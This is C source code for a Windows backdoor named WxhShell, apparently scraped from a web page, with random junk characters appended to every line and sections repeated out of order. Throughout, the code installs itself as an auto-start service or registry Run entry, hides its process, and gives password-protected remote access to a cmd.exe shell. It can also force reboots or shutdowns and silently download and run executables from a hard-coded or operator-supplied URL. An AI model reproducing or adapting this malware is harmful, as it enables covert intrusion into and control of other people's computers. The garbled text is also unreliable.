    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |+~P; fG  
    if(Boot(SHUTDOWN)) Q?.9BM1V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i Ya)*,  
    else { Lcg1X3$G  
    closesocket(wsh); A[4HD!9=  
    ExitThread(0); F" G+/c/L  
    } BGNZE{K4"  
    break; xn=mS!"1Zo  
    } >;G7ty[RX7  
  // 获取shell H O>3>v  
  case 's': { ("f~gz<<  
    CmdShell(wsh); R {-M%n4w  
    closesocket(wsh); K7$Q .  
    ExitThread(0); p]e.E`'S  
    break; * W"Pv,:  
  } /2r&ga&  
  // 退出 fyZtwl@6w#  
  case 'x': { Oo!]{[}7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kQ[23  
    CloseIt(wsh); Q=<&ew  
    break; u3cg&lEgT  
    } >7?Lq<H  
  // 离开 0/fwAp  
  case 'q': { "<L9-vb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gjJ:s,Fg  
    closesocket(wsh); W;X:U.  
    WSACleanup(); EnMc9FN(y  
    exit(1); u9 *ic~Nh  
    break; G=Xas"|  
        } 5a5JOl$8  
  } 4X:mb}(  
  } <e|B7<.  
o`~,+6] D  
  // 提示信息 7 }t=Lx(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wlwgYAD  
} \*fXPJ4  
  } SbtZhg=S_  
%Zeb#//Jz  
  return; <0/)v J- 9  
} 8M4GforP  
dphWxB  
// shell模块句柄 g |]Hm*  
int CmdShell(SOCKET sock) pBVzmQF  
{ ?Rh[S  
STARTUPINFO si; `)i4ZmE|  
ZeroMemory(&si,sizeof(si)); Pr/q?qZY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,]@Sytky  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t,~feW,  
PROCESS_INFORMATION ProcessInfo; Ch=jt*0  
char cmdline[]="cmd"; +nYF9z2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); REOWSs$'  
  return 0; DI :  
} M VE:JNm  
#E/|W T  
// 自身启动模式 4SkCV  
int StartFromService(void) 0sq?>$~Kc*  
{ Z4k'c+  
typedef struct (>\4%(pnD  
{ ;MO,HdP;  
  DWORD ExitStatus; =EHKu|rX~  
  DWORD PebBaseAddress; ?R@u'4yK  
  DWORD AffinityMask; V4*/t#L/  
  DWORD BasePriority; bM,%+9oz;  
  ULONG UniqueProcessId; tac_MtW?  
  ULONG InheritedFromUniqueProcessId; I_`$$-|  
}   PROCESS_BASIC_INFORMATION; fo;^Jg.  
q' t"  
PROCNTQSIP NtQueryInformationProcess; @Bsvk9}  
J32"Ytdo<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RHI?_gf&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e=i9l  
dY?>:ce  
  HANDLE             hProcess; 1mv8[^pF  
  PROCESS_BASIC_INFORMATION pbi; /p{$HkVw  
\NL*$SnxP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T#YJ5Xw  
  if(NULL == hInst ) return 0; F@xKL;'N74  
|x ir93|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9+'*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2 o5u02x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z7JhS|  
x c?=fv  
  if (!NtQueryInformationProcess) return 0; `! )^g/>0i  
NE?tfj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JPe<qf-  
  if(!hProcess) return 0; ,/-DAo~O  
Zu ![v0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I5E4mv0<i  
u0Opn=(_  
  CloseHandle(hProcess); 8J0#lu  
&*qAB)* *  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ou\~^  
if(hProcess==NULL) return 0; %PM8;]  
WQNFHRfO*n  
HMODULE hMod; {%v{iE>  
char procName[255]; Mgux (5`;  
unsigned long cbNeeded; ~T\:".C  
:w9s bW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9d+z?J:  
<xD6}h/  
  CloseHandle(hProcess); j2%M-y4E  
(7|!%IO.  
if(strstr(procName,"services")) return 1; // 以服务启动 -aM7>YR  
R@[1a+}5  
  return 0; // 注册表启动 UmP\;  
} -pN'r/$3V  
f!}e*oX  
// 主模块 MJcWX|(y  
int StartWxhshell(LPSTR lpCmdLine) ?,UO$#Xm  
{ `_.(qg   
  SOCKET wsl; ej]>*n  
BOOL val=TRUE; 'Fa~l'G7X  
  int port=0; cx+%lco!  
  struct sockaddr_in door; hx!hI1   
aB~=WWLR\  
  if(wscfg.ws_autoins) Install(); P?M WT]fY  
Hg+bmwM  
port=atoi(lpCmdLine); 7HQ|3rt  
10..<v7  
if(port<=0) port=wscfg.ws_port; R5r CCp  
kO' NT:  
  WSADATA data; =BgQ Ss/^c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  tZN'OoZ  
Wo/LrCg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5NhwIu^<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '+\.&'A  
  door.sin_family = AF_INET; Y'x+! &H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ft Rza  
  door.sin_port = htons(port); 9:CM#N~?o  
0 t0m?rVW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l\t<_p/I)^  
closesocket(wsl); dQPW9~g8Hg  
return 1; HA GpM\Qa  
} 6$\'dkufQ  
w*IDL0#  
  if(listen(wsl,2) == INVALID_SOCKET) { X[$FjKZh=F  
closesocket(wsl); L[}Ak1 A  
return 1; f>ilk Q`  
} 9Z.W R-}  
  Wxhshell(wsl); LX;" Mz>  
  WSACleanup(); -<@QR8:  
j<'ZO)q`Q  
return 0; Bpdx]5qfK  
 uzaD K  
} h$a% PaVf  
!^(?C@TQ  
// 以NT服务方式启动 S0p[Kt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /\UFJ  
{ q,2 +\i  
DWORD   status = 0; eGlPi|  
  DWORD   specificError = 0xfffffff; dW"=/UW  
4 JDk ()  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =LojRY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]"-c?%L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MI|anM  
  serviceStatus.dwWin32ExitCode     = 0; S2"H E`  
  serviceStatus.dwServiceSpecificExitCode = 0; nQ^ c{Bm:  
  serviceStatus.dwCheckPoint       = 0; yq\p%z$:  
  serviceStatus.dwWaitHint       = 0; |eFce/  
0I"r*;9?K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |Fp+9U  
  if (hServiceStatusHandle==0) return; 4xzoA'Mb@  
&265 B_'D  
status = GetLastError(); N Uo   
  if (status!=NO_ERROR) ffoLCx4o0E  
{ vjO@"2YEw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5YnTGf&  
    serviceStatus.dwCheckPoint       = 0; :B5M#D!dO  
    serviceStatus.dwWaitHint       = 0; ^U]B&+m  
    serviceStatus.dwWin32ExitCode     = status; ;wj8:9 ;  
    serviceStatus.dwServiceSpecificExitCode = specificError; QX|y};7\e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <~-cp61z;  
    return; =.8fES  
  } v0'`K 5M  
"/qm,$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y-^m  
  serviceStatus.dwCheckPoint       = 0; PuGc{kt  
  serviceStatus.dwWaitHint       = 0; s(s hgI 3g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~)IiF.I b  
} 4~mmP.c  
^Qa!{9o[  
// 处理NT服务事件,比如:启动、停止 xHi.N*~D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qfl#ki`,  
{ `w#p8vR  
switch(fdwControl) 31k2X81;a  
{ Tt\G y  
case SERVICE_CONTROL_STOP: y8CH=U[  
  serviceStatus.dwWin32ExitCode = 0; [X\~J &kD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O#B2XoZa+  
  serviceStatus.dwCheckPoint   = 0; OCN@P+L3q  
  serviceStatus.dwWaitHint     = 0; HMPb%'U~  
  { DNy 6Kw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8AuOe7D9A  
  } Q,< V)  
  return; >`=<(8bu  
case SERVICE_CONTROL_PAUSE: e)A-.SRiO$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RG V}c#  
  break; xty)*$C>  
case SERVICE_CONTROL_CONTINUE: w4(g]9^Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I/ V`@*/+  
  break; ;FO( mL(  
case SERVICE_CONTROL_INTERROGATE: N Obw/9JO  
  break; DRuG5|{I:  
}; YK6zN>M}E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XX[CTh?O%  
} ERz{, >G?  
X>4qL'b:z  
// 标准应用程序主函数 hmM2c15T5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !pAb+6~T  
{ |.Vs(0O  
b,):&M~p  
// 获取操作系统版本 x4%1P w  
OsIsNt=GetOsVer(); [ T!0ka  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +jN%w{^=  
5tQZf'pHfd  
  // 从命令行安装 5><KTya?=  
  if(strpbrk(lpCmdLine,"iI")) Install(); l/g6Tv `w  
mVNHH!  
  // 下载执行文件 ~"}o^#@DwJ  
if(wscfg.ws_downexe) { Z,}c)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =&"x6F.`  
  WinExec(wscfg.ws_filenam,SW_HIDE); kYnp$8  
} ;X)b=  
Bb zmq  
if(!OsIsNt) { ]x:>!y  
// 如果时win9x,隐藏进程并且设置为注册表启动 3T84f[CFJ  
HideProc(); br4?_,  
StartWxhshell(lpCmdLine); 1XPYI  
} }\3jcnn  
else \_8.\o"@*#  
  if(StartFromService()) 9U]j@*QN  
  // 以服务方式启动 G7uYkJO  
  StartServiceCtrlDispatcher(DispatchTable); bTbF  
else UNJAfr P  
  // 普通方式启动 hG8<@  
  StartWxhshell(lpCmdLine); lNba[;_  
bK#SxV  
return 0; GW\66$|  
} J`xCd/G  
w~wg[d  
"'v^X!"  
T3,}CK#O   
=========================================== W|4h;[w  
28x:]5=jb  
+ [~)a 4#  
fe8}2#<o  
2pmqP-pKd  
UWo*%&J  
" Y4Y~e p  
Nn='9s9F?}  
#include <stdio.h> S?<hs,  
#include <string.h> >vKOG@I  
#include <windows.h> #b wGDF  
#include <winsock2.h> #$ooV1E  
#include <winsvc.h> HvLx  
#include <urlmon.h> A5?q&VS}p  
2wwJ>iR`  
#pragma comment (lib, "Ws2_32.lib") X;7hy0Y  
#pragma comment (lib, "urlmon.lib") CRs@x` 5ue  
l?)!^}Qc  
#define MAX_USER   100 // 最大客户端连接数 NE4 }!I  
#define BUF_SOCK   200 // sock buffer J^y?nE(j  
#define KEY_BUFF   255 // 输入 buffer Z~1uyr(  
uZe"M(3r$  
#define REBOOT     0   // 重启 d3"QCl  
#define SHUTDOWN   1   // 关机 E4, J"T|@  
M2pFXU?]  
#define DEF_PORT   5000 // 监听端口 Nk;ywC"e;  
L%;[tu(*  
#define REG_LEN     16   // 注册表键长度 ;LqpX!Pi f  
#define SVC_LEN     80   // NT服务名长度 mnL+@mm  
3 nnoXc'  
// 从dll定义API s`gfz}/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <rxtdI"3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $Ts;o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i|[**P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ],s{%a5wC  
3@42u G>  
// wxhshell配置信息 5 BLAa1  
struct WSCFG { J#xZ.6)  
  int ws_port;         // 监听端口 y;<F|zIm  
  char ws_passstr[REG_LEN]; // 口令 K$I`&M(  
  int ws_autoins;       // 安装标记, 1=yes 0=no XNJ3.w:R  
  char ws_regname[REG_LEN]; // 注册表键名 WS//0  
  char ws_svcname[REG_LEN]; // 服务名 6uIgyO*;k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +E-CsNAZ*"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EhAaaG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {"c`k4R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6/6{69tnr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" otbr8&?-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eY[kUMo  
j]C}S*`"  
}; 'P)c'uqd#  
1pAcaJzf  
// default Wxhshell configuration \03ZE^H  
struct WSCFG wscfg={DEF_PORT, HZqk)sN  
    "xuhuanlingzhe", `j8pgnY>5~  
    1, Cy dV$!&mP  
    "Wxhshell", + w/B3 b  
    "Wxhshell", b/?)_pg  
            "WxhShell Service", Xo$SQ0K  
    "Wrsky Windows CmdShell Service", mDx=n.lIz  
    "Please Input Your Password: ", ]=ADX}  
  1, 28qlp>U  
  "http://www.wrsky.com/wxhshell.exe", {krBAz&  
  "Wxhshell.exe" " v<O)1QT  
    }; 9oYE  
0D Lw  
// 消息定义模块 Zc'^iDAY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,b4oV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uS5G(}[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 25 cJA4  
char *msg_ws_ext="\n\rExit."; (hEg&@  
char *msg_ws_end="\n\rQuit."; (67byO{  
char *msg_ws_boot="\n\rReboot..."; u+^KP>rM(  
char *msg_ws_poff="\n\rShutdown..."; f,x;t-o+R  
char *msg_ws_down="\n\rSave to "; yLPP6_59$  
l <p(zLR  
char *msg_ws_err="\n\rErr!"; C1>zwU_zo  
char *msg_ws_ok="\n\rOK!"; 05:?5M4};  
@C%6Wo4l3  
char ExeFile[MAX_PATH]; ST2:&xH(  
int nUser = 0; OG9 '[o`8  
HANDLE handles[MAX_USER]; !yd ]~t 5Q  
int OsIsNt; +NbiUCMX  
`hdN 6PgK  
SERVICE_STATUS       serviceStatus; }?o4MiLB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '{-Ic?F<P  
EJ(36h  
// 函数声明 T%Bz>K  
int Install(void); .yDGwLry  
int Uninstall(void); >qs/o$+t}  
int DownloadFile(char *sURL, SOCKET wsh); 1R;@v3  
int Boot(int flag); O>'tag  
void HideProc(void); TF9A4  
int GetOsVer(void); et"Pb_-U  
int Wxhshell(SOCKET wsl); bB>.dC  
void TalkWithClient(void *cs);  yj=OR|v  
int CmdShell(SOCKET sock); \d*ts(/a*  
int StartFromService(void); \~g,;>%7Y  
int StartWxhshell(LPSTR lpCmdLine); S*gm[ZLQ  
#^BttI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \t 5_V)P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !9.FI{W  
Ii&p v  
// 数据结构和表定义 \B^NdG5Y  
SERVICE_TABLE_ENTRY DispatchTable[] = M4D @G  
{ OE}FZCX F  
{wscfg.ws_svcname, NTServiceMain}, xZ6x`BET-  
{NULL, NULL} na|sKE;{  
}; \KzH5?  
c/igw+L()  
// 自我安装 7377g'jL  
int Install(void) BeN]D  
{ r6kJV4I=re  
  char svExeFile[MAX_PATH]; DJ*mWi.  
  HKEY key;  "iR:KW@  
  strcpy(svExeFile,ExeFile); [:(/cKo  
q#@r*hl  
// 如果是win9x系统,修改注册表设为自启动 t|mK5aR4  
if(!OsIsNt) { =H3tkMoi2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #4JLWg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T:@7EL  
  RegCloseKey(key); k~gOL#$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r<4j;"lQK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oet+$ b  
  RegCloseKey(key); ,<Z,-0S  
  return 0; \7%#4@;?  
    } UhrRB  
  } m"'} {3$%  
} \A,zwdt P  
else { !\$V?*p7  
W+/_0GgQ3  
// 如果是NT以上系统,安装为系统服务 _m[DieR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o.kDOqd  
if (schSCManager!=0) jCXBp>9$M  
{ &q@brX<,=  
  SC_HANDLE schService = CreateService .6T0d 4,1  
  ( .#-F@0a  
  schSCManager, Rk[a|T&  
  wscfg.ws_svcname, L~^5Ez6U  
  wscfg.ws_svcdisp, l? U!rFRq`  
  SERVICE_ALL_ACCESS, E3l*_b0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , " :vEWp+g  
  SERVICE_AUTO_START, 7RWgc]@?>  
  SERVICE_ERROR_NORMAL, awwSgy  
  svExeFile, d$ n31F  
  NULL, ZOMYo]  
  NULL, @"MQ6u G>  
  NULL, [8^q3o7n  
  NULL, EEnl'  
  NULL /aMOZ=,q}  
  ); G<Eb~]. 1'  
  if (schService!=0) EwX{i}j_V  
  { w]yVNB  
  CloseServiceHandle(schService); B~7!v${  
  CloseServiceHandle(schSCManager); } c k <R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ruGeN  
  strcat(svExeFile,wscfg.ws_svcname); M;,$ )>P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]gg(Z!|iQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (wM` LE(Ks  
  RegCloseKey(key); D[#V  
  return 0; Y)DX   
    } =u?aP}zc  
  } -YAtM-VL  
  CloseServiceHandle(schSCManager); |oke)w=gn  
} QxdC[t$Lp  
} P!E2.K,  
5K2K'ZkI  
return 1; KMz!4N  
} )S(Ly.  
XC)9aC@s  
// 自我卸载 *; ]}`r  
int Uninstall(void) }ePl&-9T  
{ *=2W:,$  
  HKEY key; U31@++C[  
jT =|!,Pn  
if(!OsIsNt) { 3,Yr%`/5'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uu5(/vw]  
  RegDeleteValue(key,wscfg.ws_regname); eF22 ~P  
  RegCloseKey(key); j&oRj6;Ha+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #}FUau$  
  RegDeleteValue(key,wscfg.ws_regname); V(F9=r<X  
  RegCloseKey(key); _OTVQo Ap  
  return 0; U]~@_j  
  } Tk4>Jb  
} Lr D@QBT  
} Leb|YX  
else { ro\ oL  
~cCMLK em  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @)uV Fw"\  
if (schSCManager!=0) twq~.:<o  
{ jh)@3c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "H).2{3(x  
  if (schService!=0) fDf[:A,8  
  { DJL.P6-W  
  if(DeleteService(schService)!=0) { <cp9+P <  
  CloseServiceHandle(schService); 'v~'NWfd  
  CloseServiceHandle(schSCManager); PnA{@n\  
  return 0; JRo/ HY+  
  } `.@sux!lu  
  CloseServiceHandle(schService); 0DmA3  
  } xBVOIc[4(  
  CloseServiceHandle(schSCManager); z6C(?R  
} |cf-S8pwY  
} TXmS$q   
d@$| zr6  
return 1; pWGR #x'  
} {h7 vJ^  
3W%6n-*u  
// 从指定url下载文件 #@$80eFq  
int DownloadFile(char *sURL, SOCKET wsh) *uhQP47B  
{ p35=CX`T.  
  HRESULT hr; I[Lg0H8  
char seps[]= "/"; /;#kV]nF  
char *token; b4e~Z  
char *file; %-540V{q  
char myURL[MAX_PATH]; *y?HaU  
char myFILE[MAX_PATH]; p8~lGuH  
!%,7*F(  
strcpy(myURL,sURL); jU j\<aW  
  token=strtok(myURL,seps); P3&s<mh  
  while(token!=NULL) 9kH~=`:?  
  { u^tQ2&?O!P  
    file=token; Ig `q[o  
  token=strtok(NULL,seps); }} =n]_f  
  } E]OexRJ^i  
/'rj L<M  
GetCurrentDirectory(MAX_PATH,myFILE); N|DI k  
strcat(myFILE, "\\"); qY#*LqV  
strcat(myFILE, file); UhDQl%&He  
  send(wsh,myFILE,strlen(myFILE),0); ]- 1(r,  
send(wsh,"...",3,0); 9{jMO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +Y sGH~jX  
  if(hr==S_OK) AygdAg'\  
return 0; Ayw_LCUD  
else {5E8eQ  
return 1; bE !SW2:M  
q!z"YpYB  
} SH{@yS[c!  
Cdz&'en^  
// 系统电源模块 _Sr7b#)o  
int Boot(int flag) iWf+wC|  
{ ;`78h?`  
  HANDLE hToken; 2!s PgIz  
  TOKEN_PRIVILEGES tkp; E(r_mF7:  
c`!e#w  
  if(OsIsNt) { \34vE@V*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XIl <rN@-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jw;~$  
    tkp.PrivilegeCount = 1; 3U@jw,K!{A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]<>cjk.ya  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =6[.||9  
if(flag==REBOOT) { u?Ffqt9'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?s^qWA  
  return 0; #Q8_:dPY  
} f1 x&Fk  
else { .5 . (S^u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JY,$B-l  
  return 0; Zd[rn:9\  
} _`udd)Y2  
  } Z!"-LQJ  
  else { U6M ~N0)Yr  
if(flag==REBOOT) { ; j!dbT~5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U#[&(  
  return 0; ]->"4,}  
} S; % &X  
else { r N$0qo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fc1!i8vv  
  return 0; >a?Bk4w  
} v1OVrk>s>  
} fvC,P#z'|  
Ss>pNH@ c  
return 1; J?8Mo=UZz  
} BIWe Hx  
d+q],\"R  
// win9x进程隐藏模块 W@T \i2r$z  
void HideProc(void) {cXr!N^K  
{ &>JP.//spi  
o P`l)`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QoZV 6  
  if ( hKernel != NULL ) lmeTW0U@9(  
  { BiYxI{VFD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b)d;eS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BDI|z/~&  
    FreeLibrary(hKernel); [H}> 2Q  
  } {<,%_pJR  
:<J7g`f  
return; ^9Pr`\   
} :V'99Esv`  
"v1{  
// 获取操作系统版本 Ek{QNlQ]4  
int GetOsVer(void) 0caZ_-zU  
{ 1rm\u%  
  OSVERSIONINFO winfo; &b} \).5E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uHgq"e  
  GetVersionEx(&winfo); Z2g'&,uc#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a^R?w|zCX  
  return 1; cpdESc9W  
  else W8d-4')|  
  return 0; 5#DMizv6  
} bJ^h{]  
pe?)AiTZ:  
// 客户端句柄模块 DDeU:  
int Wxhshell(SOCKET wsl) Z`S# > o  
{ w2DC5ei'  
  SOCKET wsh; ix!xLm9\  
  struct sockaddr_in client; m/=nz.  
  DWORD myID; *fg2bz<~[B  
bk0>f   
  while(nUser<MAX_USER) pa>C}jk}6  
{ ZNQ x;51  
  int nSize=sizeof(client); 5CY%h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #PkuCWm6  
  if(wsh==INVALID_SOCKET) return 1; m+(Cl#+  
vX JPvh<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9;@p2t*v  
if(handles[nUser]==0) F/oqYk9`  
  closesocket(wsh); q1}!Okr"2  
else b84l`J  
  nUser++; 2%%\jlT_  
  } cC/h7o dY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PgkU~68`  
Ob$``31{s  
  return 0; hXTfmFy{n  
} hF2e--  
 !VGG2N8  
// 关闭 socket =[( 34#  
void CloseIt(SOCKET wsh) &QHJ%c  
{ j, 0`k  
closesocket(wsh); gb_Y]U  
nUser--; ,X@o@W+L  
ExitThread(0); Uy?jVPL  
} FLi'}C  
6<lo0PQ"Z  
// 客户端请求句柄 CHgip&(.F  
void TalkWithClient(void *cs) U{2xgN J  
{ #V>R#Oh}  
P 9?cp{*  
  SOCKET wsh=(SOCKET)cs; qf? "v;  
  char pwd[SVC_LEN]; (]]hSkE  
  char cmd[KEY_BUFF]; !xsfhLZK  
char chr[1]; *vb"mB  
int i,j; CRb*sfKDL  
mnpk9x}m  
  while (nUser < MAX_USER) { X-["{  
^DYS~I%s  
if(wscfg.ws_passstr) { 5$9$R(KU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  *&_*G~>D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "jL>P )  
  //ZeroMemory(pwd,KEY_BUFF); _Y; TS1u  
      i=0; tV)CDA&Z  
  while(i<SVC_LEN) { f[o~d`z  
',EI[ ]+  
  // 设置超时 %Ig$:I(o  
  fd_set FdRead; `zQuhD 8W  
  struct timeval TimeOut; Y1PR?c Q  
  FD_ZERO(&FdRead); t13V>9to  
  FD_SET(wsh,&FdRead); :v^/k]S  
  TimeOut.tv_sec=8; D3o,2E(o  
  TimeOut.tv_usec=0; > 80{n8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (?4%Xtul1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z CLaHx!  
 t`o"K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $_.t'8F  
  pwd=chr[0]; 5Tl5T&  
  if(chr[0]==0xd || chr[0]==0xa) { 8V:;HY#  
  pwd=0; <C`bf$ak  
  break; EFX2>&mWo8  
  } [q9B" @X  
  i++; P $`1}  
    } J^7m?mA  
Dz}i-tw+  
  // 如果是非法用户,关闭 socket [ws _ g,/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tMl y*E  
} Bu:%trlgV  
Ln>!4i+-B)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /oPW0of  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w#.3na  
"to!&@I| 4  
while(1) { {nmG/dn {  
# -'A =j  
  ZeroMemory(cmd,KEY_BUFF); MLDzWZ~}ef  
=KPmZ,/w  
      // 自动支持客户端 telnet标准   w"R<8e=  
  j=0; ,.)wCZ,wca  
  while(j<KEY_BUFF) { Z)rW>I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ks.b).fH  
  cmd[j]=chr[0]; Pe%[d[ k  
  if(chr[0]==0xa || chr[0]==0xd) { [:X@|,1V!L  
  cmd[j]=0; qTuR[(  
  break; tT]@yo|?e/  
  } 6"-$WUlg  
  j++; nb_/1{F  
    } 5%,3)H{;t  
r^ r+h[V  
  // 下载文件 _}R$h=YD  
  if(strstr(cmd,"http://")) { Z '5itN^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k~[jk5te  
  if(DownloadFile(cmd,wsh)) #49l\>1 z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <9@n/  
  else E*'YxI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y '/6T]a  
  } ?mH=3 :~  
  else { Y:\msq1xp  
mEY#QN[eq  
